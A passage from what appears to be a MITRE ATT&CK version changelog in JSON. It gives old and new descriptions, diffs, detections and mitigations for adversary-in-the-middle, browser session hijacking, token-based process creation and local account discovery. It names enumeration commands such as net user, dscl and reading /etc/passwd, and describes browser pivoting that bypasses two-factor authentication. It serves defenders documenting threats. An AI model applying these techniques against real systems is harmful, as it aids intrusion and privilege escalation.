a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics)\\n\\nAdversaries may leverage the AiTM position to attempt to modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can also stop traffic from flowing to the appropriate destination, causing denial of service.\", \"old_value\": \"Adversaries may attempt to position themselves between two or more networked devices using a man-in-the-middle (MiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics)\\n\\nAdversaries may leverage the MiTM position to attempt to modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can also stop traffic from flowing to the appropriate destination, causing denial of service.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-Adversaries may attempt to position themselves between two or more networked devices using a man-in-the-middle (MiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics)\\n+Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics)\\n \\n-Adversaries may leverage the MiTM position to attempt to modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can also stop traffic from flowing to the appropriate destination, causing denial of service.\\n+Adversaries may leverage the AiTM position to attempt to modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can also stop traffic from flowing to the appropriate destination, causing denial of service.\"}, \"root['x_mitre_data_sources'][0]\": {\"new_value\": \"Network Traffic: Network Traffic Content\", \"old_value\": \"Network Traffic: Network Traffic Flow\"}, \"root['x_mitre_detection']\": {\"new_value\": \"Monitor network traffic for anomalies associated with known AiTM behavior. Consider monitoring for modifications to system configuration files involved in shaping network traffic flow.\", \"old_value\": \"Monitor network traffic for anomalies associated with known MiTM behavior. Consider monitoring for modifications to system configuration files involved in shaping network traffic flow.\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", "previous_version": "1.1", "version_change": "1.1 \u2192 2.0", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may attempt to position themselves between two ot1Adversaries may attempt to position themselves between two o
>r more networked devices using a man-in-the-middle (MiTM) te>r more networked devices using an adversary-in-the-middle (A
>chnique to support follow-on behaviors such as [Network Snif>iTM) technique to support follow-on behaviors such as [Netwo
>fing](https://attack.mitre.org/techniques/T1040) or [Transmi>rk Sniffing](https://attack.mitre.org/techniques/T1040) or [
>tted Data Manipulation](https://attack.mitre.org/techniques/>Transmitted Data Manipulation](https://attack.mitre.org/tech
>T1565/002). By abusing features of common networking protoco>niques/T1565/002). By abusing features of common networking 
>ls that can determine the flow of network traffic (e.g. ARP,>protocols that can determine the flow of network traffic (e.
> DNS, LLMNR, etc.), adversaries may force a device to commun>g. ARP, DNS, LLMNR, etc.), adversaries may force a device to
>icate through an adversary controlled system so they can col> communicate through an adversary controlled system so they 
>lect information or perform additional actions.(Citation: Ra>can collect information or perform additional actions.(Citat
>pid7 MiTM Basics)  Adversaries may leverage the MiTM positio>ion: Rapid7 MiTM Basics)  Adversaries may leverage the AiTM 
>n to attempt to modify traffic, such as in [Transmitted Data>position to attempt to modify traffic, such as in [Transmitt
> Manipulation](https://attack.mitre.org/techniques/T1565/002>ed Data Manipulation](https://attack.mitre.org/techniques/T1
>). Adversaries can also stop traffic from flowing to the app>565/002). Adversaries can also stop traffic from flowing to 
>ropriate destination, causing denial of service.>the appropriate destination, causing denial of service.
", "changelog_mitigations": { "shared": [ "M1017: User Training", "M1030: Network Segmentation", "M1031: Network Intrusion Prevention", "M1035: Limit Access to Resource Over Network", "M1037: Filter Network Traffic", "M1041: Encrypt Sensitive Information", "M1042: Disable or Remove Feature or Program" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0019: Service (Service Creation)", "DS0024: Windows Registry (Windows Registry Key Modification)", "DS0029: Network Traffic (Network Traffic Content)", "DS0029: Network Traffic (Network Traffic Flow)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2018-01-16 16:13:52.465000+00:00", "modified": "2021-10-18 12:11:16.808000+00:00", "name": "Browser Session Hijacking", "description": "Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques.(Citation: Wikipedia Man in the Browser)\n\nA specific example is when an adversary injects software into a browser that allows them to inherit cookies, HTTP sessions, and SSL client certificates of a user then use the browser as a way to pivot into an authenticated intranet.(Citation: Cobalt Strike Browser Pivot)(Citation: ICEBRG Chrome Extensions) Executing browser-based behaviors such as pivoting may require specific process permissions, such as SeDebugPrivilege and/or high-integrity/administrator rights.\n\nAnother example involves pivoting browser traffic from the adversary's browser through the user's browser by setting up a proxy which will redirect web traffic. This does not alter the user's traffic in any way, and the proxy connection can be severed as soon as the browser is closed. The adversary assumes the security context of whichever browser process the proxy is injected into. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could potentially browse to any resource on an intranet, such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002) or webmail, that is accessible through the browser and which the browser has sufficient permissions. Browser pivoting may also bypass security provided by 2-factor authentication.(Citation: cobaltstrike manual)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "collection" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1185", "external_id": "T1185" }, { "source_name": "Wikipedia Man in the Browser", "description": "Wikipedia. (2017, October 28). Man-in-the-browser. Retrieved January 10, 2018.", "url": "https://en.wikipedia.org/wiki/Man-in-the-browser" }, { "source_name": "Cobalt Strike Browser Pivot", "description": "Mudge, R. (n.d.). Browser Pivoting. Retrieved January 10, 2018.", "url": "https://www.cobaltstrike.com/help-browser-pivoting" }, { "source_name": "ICEBRG Chrome Extensions", "description": "De Tore, M., Warner, J. (2018, January 15). MALICIOUS CHROME EXTENSIONS ENABLE CRIMINALS TO IMPACT OVER HALF A MILLION USERS AND GLOBAL BUSINESSES. Retrieved January 17, 2018.", "url": "https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses" }, { "source_name": "cobaltstrike manual", "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", "url": "https://cobaltstrike.com/downloads/csmanual38.pdf" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Justin Warner, ICEBRG" ], "x_mitre_data_sources": [ "Process: Process Modification", "Process: Process Access", "Logon Session: Logon Session Creation" ], "x_mitre_detection": "This may be a difficult technique to detect because adversary traffic may be masked by normal user traffic. New processes may not be created and no additional software dropped to disk. Authentication logs can be used to audit logins to specific web applications, but determining malicious logins versus benign logins may be difficult if activity matches typical user behavior. Monitor for [Process Injection](https://attack.mitre.org/techniques/T1055) against browser applications.", "x_mitre_is_subtechnique": false, "x_mitre_permissions_required": [ "Administrator", "SYSTEM" ], "x_mitre_platforms": [ "Windows" ], "x_mitre_version": "2.0", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-18 12:11:16.808000+00:00\", \"old_value\": \"2021-02-09 15:34:09.429000+00:00\"}, \"root['name']\": {\"new_value\": \"Browser Session Hijacking\", \"old_value\": \"Man in the Browser\"}, \"root['description']\": {\"new_value\": \"Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques.(Citation: Wikipedia Man in the Browser)\\n\\nA specific example is when an adversary injects software into a browser that allows them to inherit cookies, HTTP sessions, and SSL client certificates of a user then use the browser as a way to pivot into an authenticated intranet.(Citation: Cobalt Strike Browser Pivot)(Citation: ICEBRG Chrome Extensions) Executing browser-based behaviors such as pivoting may require specific process permissions, such as SeDebugPrivilege and/or high-integrity/administrator rights.\\n\\nAnother example involves pivoting browser traffic from the adversary's browser through the user's browser by setting up a proxy which will redirect web traffic. This does not alter the user's traffic in any way, and the proxy connection can be severed as soon as the browser is closed. The adversary assumes the security context of whichever browser process the proxy is injected into. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could potentially browse to any resource on an intranet, such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002) or webmail, that is accessible through the browser and which the browser has sufficient permissions. Browser pivoting may also bypass security provided by 2-factor authentication.(Citation: cobaltstrike manual)\", \"old_value\": \"Adversaries can take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify behavior, and intercept information as part of various man in the browser techniques. (Citation: Wikipedia Man in the Browser)\\n\\nA specific example is when an adversary injects software into a browser that allows an them to inherit cookies, HTTP sessions, and SSL client certificates of a user and use the browser as a way to pivot into an authenticated intranet. (Citation: Cobalt Strike Browser Pivot) (Citation: ICEBRG Chrome Extensions)\\n\\nBrowser pivoting requires the SeDebugPrivilege and a high-integrity process to execute. Browser traffic is pivoted from the adversary's browser through the user's browser by setting up an HTTP proxy which will redirect any HTTP and HTTPS traffic. This does not alter the user's traffic in any way. The proxy connection is severed as soon as the browser is closed. Whichever browser process the proxy is injected into, the adversary assumes the security context of that process. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could browse to any resource on an intranet that is accessible through the browser and which the browser has sufficient permissions, such as Sharepoint or webmail. Browser pivoting also eliminates the security provided by 2-factor authentication. (Citation: cobaltstrike manual)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,5 @@\\n-Adversaries can take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify behavior, and intercept information as part of various man in the browser techniques. (Citation: Wikipedia Man in the Browser)\\n+Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques.(Citation: Wikipedia Man in the Browser)\\n \\n-A specific example is when an adversary injects software into a browser that allows an them to inherit cookies, HTTP sessions, and SSL client certificates of a user and use the browser as a way to pivot into an authenticated intranet. (Citation: Cobalt Strike Browser Pivot) (Citation: ICEBRG Chrome Extensions)\\n+A specific example is when an adversary injects software into a browser that allows them to inherit cookies, HTTP sessions, and SSL client certificates of a user then use the browser as a way to pivot into an authenticated intranet.(Citation: Cobalt Strike Browser Pivot)(Citation: ICEBRG Chrome Extensions) Executing browser-based behaviors such as pivoting may require specific process permissions, such as SeDebugPrivilege and/or high-integrity/administrator rights.\\n \\n-Browser pivoting requires the SeDebugPrivilege and a high-integrity process to execute. Browser traffic is pivoted from the adversary's browser through the user's browser by setting up an HTTP proxy which will redirect any HTTP and HTTPS traffic. This does not alter the user's traffic in any way. The proxy connection is severed as soon as the browser is closed. Whichever browser process the proxy is injected into, the adversary assumes the security context of that process. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could browse to any resource on an intranet that is accessible through the browser and which the browser has sufficient permissions, such as Sharepoint or webmail. Browser pivoting also eliminates the security provided by 2-factor authentication. (Citation: cobaltstrike manual)\\n+Another example involves pivoting browser traffic from the adversary's browser through the user's browser by setting up a proxy which will redirect web traffic. This does not alter the user's traffic in any way, and the proxy connection can be severed as soon as the browser is closed. The adversary assumes the security context of whichever browser process the proxy is injected into. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could potentially browse to any resource on an intranet, such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002) or webmail, that is accessible through the browser and which the browser has sufficient permissions. Browser pivoting may also bypass security provided by 2-factor authentication.(Citation: cobaltstrike manual)\"}, \"root['x_mitre_detection']\": {\"new_value\": \"This may be a difficult technique to detect because adversary traffic may be masked by normal user traffic. New processes may not be created and no additional software dropped to disk. Authentication logs can be used to audit logins to specific web applications, but determining malicious logins versus benign logins may be difficult if activity matches typical user behavior. Monitor for [Process Injection](https://attack.mitre.org/techniques/T1055) against browser applications.\", \"old_value\": \"This is a difficult technique to detect because adversary traffic would be masked by normal user traffic. No new processes are created and no additional software touches disk. Authentication logs can be used to audit logins to specific web applications, but determining malicious logins versus benign logins may be difficult if activity matches typical user behavior. Monitor for process injection against browser applications.\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['x_mitre_data_sources'][0]\": \"Process: Process Modification\"}}", "previous_version": "1.0", "version_change": "1.0 \u2192 2.0", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries can take advantage of security vulnerabilities at1Adversaries may take advantage of security vulnerabilities a
>nd inherent functionality in browser software to change cont>nd inherent functionality in browser software to change cont
>ent, modify behavior, and intercept information as part of v>ent, modify user-behaviors, and intercept information as par
>arious man in the browser techniques. (Citation: Wikipedia M>t of various browser session hijacking techniques.(Citation:
>an in the Browser)  A specific example is when an adversary > Wikipedia Man in the Browser)  A specific example is when a
>injects software into a browser that allows an them to inher>n adversary injects software into a browser that allows them
>it cookies, HTTP sessions, and SSL client certificates of a > to inherit cookies, HTTP sessions, and SSL client certifica
>user and use the browser as a way to pivot into an authentic>tes of a user then use the browser as a way to pivot into an
>ated intranet. (Citation: Cobalt Strike Browser Pivot) (Cita> authenticated intranet.(Citation: Cobalt Strike Browser Piv
>tion: ICEBRG Chrome Extensions)  Browser pivoting requires t>ot)(Citation: ICEBRG Chrome Extensions) Executing browser-ba
>he SeDebugPrivilege and a high-integrity process to execute.>sed behaviors such as pivoting may require specific process 
> Browser traffic is pivoted from the adversary's browser thr>permissions, such as <code>SeDebugPrivilege</code> and/or hi
>ough the user's browser by setting up an HTTP proxy which wi>gh-integrity/administrator rights.  Another example involves
>ll redirect any HTTP and HTTPS traffic. This does not alter > pivoting browser traffic from the adversary's browser throu
>the user's traffic in any way. The proxy connection is sever>gh the user's browser by setting up a proxy which will redir
>ed as soon as the browser is closed. Whichever browser proce>ect web traffic. This does not alter the user's traffic in a
>ss the proxy is injected into, the adversary assumes the sec>ny way, and the proxy connection can be severed as soon as t
>urity context of that process. Browsers typically create a n>he browser is closed. The adversary assumes the security con
>ew process for each tab that is opened and permissions and c>text of whichever browser process the proxy is injected into
>ertificates are separated accordingly. With these permission>. Browsers typically create a new process for each tab that 
>s, an adversary could browse to any resource on an intranet >is opened and permissions and certificates are separated acc
>that is accessible through the browser and which the browser>ordingly. With these permissions, an adversary could potenti
> has sufficient permissions, such as Sharepoint or webmail. >ally browse to any resource on an intranet, such as [Sharepo
>Browser pivoting also eliminates the security provided by 2->int](https://attack.mitre.org/techniques/T1213/002) or webma
>factor authentication. (Citation: cobaltstrike manual)>il, that is accessible through the browser and which the bro
 >wser has sufficient permissions. Browser pivoting may also b
 >ypass security provided by 2-factor authentication.(Citation
 >: cobaltstrike manual)
", "changelog_mitigations": { "shared": [ "M1017: User Training", "M1018: User Account Management", "T1185: Man in the Browser Mitigation" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Access)", "DS0009: Process (Process Modification)", "DS0028: Logon Session (Logon Session Creation)" ], "dropped": [] } } ], "minor_version_changes": [ { "type": "attack-pattern", "id": "attack-pattern--677569f9-a8b0-459e-ab24-7f18091fa7bf", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-02-18 16:48:56.582000+00:00", "modified": "2021-10-17 14:51:48.978000+00:00", "name": "Create Process with Token", "description": "Adversaries may create a new process with a different token to escalate privileges and bypass access controls. Processes can be created with the token and resulting security context of another user using features such as CreateProcessWithTokenW and runas.(Citation: Microsoft RunAs)\n\nCreating processes with a different token may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used (ex: gathered via other means such as [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) or [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003)).", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" }, { "kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1134/002", "external_id": "T1134.002" }, { "source_name": "Microsoft RunAs", "description": "Microsoft. (2016, August 31). Runas. Retrieved October 1, 2021.", "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771525(v=ws.11)" }, { "source_name": "Microsoft Command-line Logging", "description": "Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.", "url": "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Vadim Khrykov" ], "x_mitre_data_sources": [ "Process: OS API Execution", "Command: Command Execution" ], "x_mitre_defense_bypassed": [ "Windows User Account Control", "System access controls", "File system access controls" ], "x_mitre_detection": "If an adversary is using a standard command-line shell (i.e. [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003)), analysts may detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command or similar artifacts. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\n\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts may detect token manipulation only through careful analysis of user activity, examination of running processes, and correlation with other endpoint and network behavior.\n\nAnalysts can also monitor for use of Windows APIs such as CreateProcessWithTokenW and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "Windows" ], "x_mitre_version": "1.1", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_contributors']\": [\"Vadim Khrykov\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-17 14:51:48.978000+00:00\", \"old_value\": \"2020-03-26 21:28:19.476000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may create a new process with a different token to escalate privileges and bypass access controls. Processes can be created with the token and resulting security context of another user using features such as CreateProcessWithTokenW and runas.(Citation: Microsoft RunAs)\\n\\nCreating processes with a different token may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used (ex: gathered via other means such as [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) or [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003)).\", \"old_value\": \"Adversaries may create a new process with a duplicated token to escalate privileges and bypass access controls. An adversary can duplicate a desired access token with DuplicateToken(Ex) and use it with CreateProcessWithTokenW to create a new process running under the security context of the impersonated user. This is useful for creating a new process under the security context of a different user.\", \"diff\": \"--- \\n+++ \\n@@ -1 +1,3 @@\\n-Adversaries may create a new process with a duplicated token to escalate privileges and bypass access controls. An adversary can duplicate a desired access token with DuplicateToken(Ex) and use it with CreateProcessWithTokenW to create a new process running under the security context of the impersonated user. This is useful for creating a new process under the security context of a different user.\\n+Adversaries may create a new process with a different token to escalate privileges and bypass access controls. Processes can be created with the token and resulting security context of another user using features such as CreateProcessWithTokenW and runas.(Citation: Microsoft RunAs)\\n+\\n+Creating processes with a different token may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used (ex: gathered via other means such as [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) or [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003)).\"}, \"root['external_references'][1]['source_name']\": {\"new_value\": \"Microsoft RunAs\", \"old_value\": \"Microsoft Command-line Logging\"}, \"root['external_references'][1]['description']\": {\"new_value\": \"Microsoft. (2016, August 31). Runas. Retrieved October 1, 2021.\", \"old_value\": \"Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.\"}, \"root['external_references'][1]['url']\": {\"new_value\": \"https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771525(v=ws.11)\", \"old_value\": \"https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing\"}, \"root['x_mitre_detection']\": {\"new_value\": \"If an adversary is using a standard command-line shell (i.e. [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003)), analysts may detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command or similar artifacts. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\\n\\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts may detect token manipulation only through careful analysis of user activity, examination of running processes, and correlation with other endpoint and network behavior.\\n\\nAnalysts can also monitor for use of Windows APIs such as CreateProcessWithTokenW and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.\", \"old_value\": \"If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\\n\\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior.\\n\\nAnalysts can also monitor for use of Windows APIs such as DuplicateToken(Ex) and CreateProcessWithTokenW and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,5 @@\\n-If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\\n+If an adversary is using a standard command-line shell (i.e. [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003)), analysts may detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command or similar artifacts. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\\n \\n-If an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior.\\n+If an adversary is using a payload that calls the Windows token APIs directly, analysts may detect token manipulation only through careful analysis of user activity, examination of running processes, and correlation with other endpoint and network behavior.\\n \\n-Analysts can also monitor for use of Windows APIs such as DuplicateToken(Ex) and CreateProcessWithTokenW and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.\\n+Analysts can also monitor for use of Windows APIs such as CreateProcessWithTokenW and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['external_references'][2]\": {\"source_name\": \"Microsoft Command-line Logging\", \"description\": \"Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.\", \"url\": \"https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may create a new process with a duplicated tokent1Adversaries may create a new process with a different token 
> to escalate privileges and bypass access controls. An adver>to escalate privileges and bypass access controls. Processes
>sary can duplicate a desired access token with <code>Duplica> can be created with the token and resulting security contex
>teToken(Ex)</code> and use it with <code>CreateProcessWithTo>t of another user using features such as <code>CreateProcess
>kenW</code> to create a new process running under the securi>WithTokenW</code> and <code>runas</code>.(Citation: Microsof
>ty context of the impersonated user. This is useful for crea>t RunAs)  Creating processes with a different token may requ
>ting a new process under the security context of a different>ire the credentials of the target user, specific privileges 
> user.>to impersonate that user, or access to the token to be used 
 >(ex: gathered via other means such as [Token Impersonation/T
 >heft](https://attack.mitre.org/techniques/T1134/001) or [Mak
 >e and Impersonate Token](https://attack.mitre.org/techniques
 >/T1134/003)).
", "changelog_mitigations": { "shared": [ "M1018: User Account Management", "M1026: Privileged Account Management" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (OS API Execution)", "DS0017: Command (Command Execution)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-02-21 21:07:55.393000+00:00", "modified": "2021-07-28 18:05:24.567000+00:00", "name": "Local Account", "description": "Adversaries may attempt to get a listing of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.\n\nCommands such as net user and net localgroup of the [Net](https://attack.mitre.org/software/S0039) utility and id and groupson macOS and Linux can list local users and groups. On Linux, local users can also be enumerated through the use of the /etc/passwd file. On macOS the dscl . list /Users command can be used to enumerate local accounts.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "discovery" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1087/001", "external_id": "T1087.001" }, { "source_name": "Elastic - Koadiac Detection with EQL", "description": "Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020.", "url": "https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Daniel Stepanic, Elastic" ], "x_mitre_data_sources": [ "Process: Process Creation", "Command: Command Execution", "File: File Access" ], "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nMonitor for processes that can be used to enumerate user accounts, such as net.exe and net1.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User" ], "x_mitre_platforms": [ "Linux", "macOS", "Windows" ], "x_mitre_version": "1.2", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-07-28 18:05:24.567000+00:00\", \"old_value\": \"2021-04-13 21:39:08.728000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may attempt to get a listing of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.\\n\\nCommands such as net user and net localgroup of the [Net](https://attack.mitre.org/software/S0039) utility and id and groupson macOS and Linux can list local users and groups. On Linux, local users can also be enumerated through the use of the /etc/passwd file. On macOS the dscl . list /Users command can be used to enumerate local accounts.\", \"old_value\": \"Adversaries may attempt to get a listing of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.\\n\\nCommands such as net user and net localgroup of the [Net](https://attack.mitre.org/software/S0039) utility and id and groupson macOS and Linux can list local users and groups. On Linux, local users can also be enumerated through the use of the /etc/passwd file.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n Adversaries may attempt to get a listing of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.\\n \\n-Commands such as net user and net localgroup of the [Net](https://attack.mitre.org/software/S0039) utility and id and groupson macOS and Linux can list local users and groups. On Linux, local users can also be enumerated through the use of the /etc/passwd file.\\n+Commands such as net user and net localgroup of the [Net](https://attack.mitre.org/software/S0039) utility and id and groupson macOS and Linux can list local users and groups. On Linux, local users can also be enumerated through the use of the /etc/passwd file. On macOS the dscl . list /Users command can be used to enumerate local accounts.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}}", "previous_version": "1.1", "version_change": "1.1 \u2192 1.2", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may attempt to get a listing of local system acct1Adversaries may attempt to get a listing of local system acc
>ounts. This information can help adversaries determine which>ounts. This information can help adversaries determine which
> local accounts exist on a system to aid in follow-on behavi> local accounts exist on a system to aid in follow-on behavi
>or.  Commands such as <code>net user</code> and <code>net lo>or.  Commands such as <code>net user</code> and <code>net lo
>calgroup</code> of the [Net](https://attack.mitre.org/softwa>calgroup</code> of the [Net](https://attack.mitre.org/softwa
>re/S0039) utility and <code>id</code> and <code>groups</code>re/S0039) utility and <code>id</code> and <code>groups</code
>>on macOS and Linux can list local users and groups. On Linu>>on macOS and Linux can list local users and groups. On Linu
>x, local users can also be enumerated through the use of the>x, local users can also be enumerated through the use of the
> <code>/etc/passwd</code> file.> <code>/etc/passwd</code> file. On macOS the <code>dscl . li
 >st /Users</code> command can be used to enumerate local acco
